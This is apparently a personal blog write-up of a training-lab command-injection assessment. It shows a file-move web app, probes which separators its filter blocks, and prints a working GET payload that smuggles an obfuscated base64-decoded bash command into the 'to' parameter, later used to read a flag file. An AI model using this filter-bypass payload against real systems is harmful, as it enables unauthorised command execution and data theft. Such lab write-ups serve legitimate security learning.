---
title: "8. skills assessment"
date: 2024-12-06
draft: false
---

![](/img/Pasted image 20241206121508.png)
![](/img/Pasted image 20241206121745.png)


Okay, so we can probably envision that the command that's being run in the background to shuffle these files around is like the following: 

`mv [from-parameter-val] [to-parameter-val]`

Let's see if I can try and inject something after the `to` parameter value with `&&` or similar 

```bash
Source path: /var/www/html/files/696212415.txt
Destination folder: /var/www/html/files/tmp 
```

(wonder if LFI is a play here but since this is a command injection module I doubt it.)

Let's do some basic escape after the to var

%0a = malicious 
%3b = malicious 
%26 (an `&` character) appears to not be malicious. 

let's try and add a basic command injection here 
![](/img/Pasted image 20241206122520.png)

payload used: 
```bash
GET /index.php?to=tmp%26b'as'h<<<$(base64${IFS}-d<<<d2hvYW1pCg==)&from=696212415.txt&finish=1&move=1
```
basically whoami (b64 encoded string is whoami) 

![](/img/Pasted image 20241206122553.png)
bada bing baby 

re-encoding a string for `cat /flag.txt` and we get our flag!!!!!!!! 
![](/img/Pasted image 20241206123026.png)
very cool!!!!!!!!!!!!!!!!!!!!!!!!!

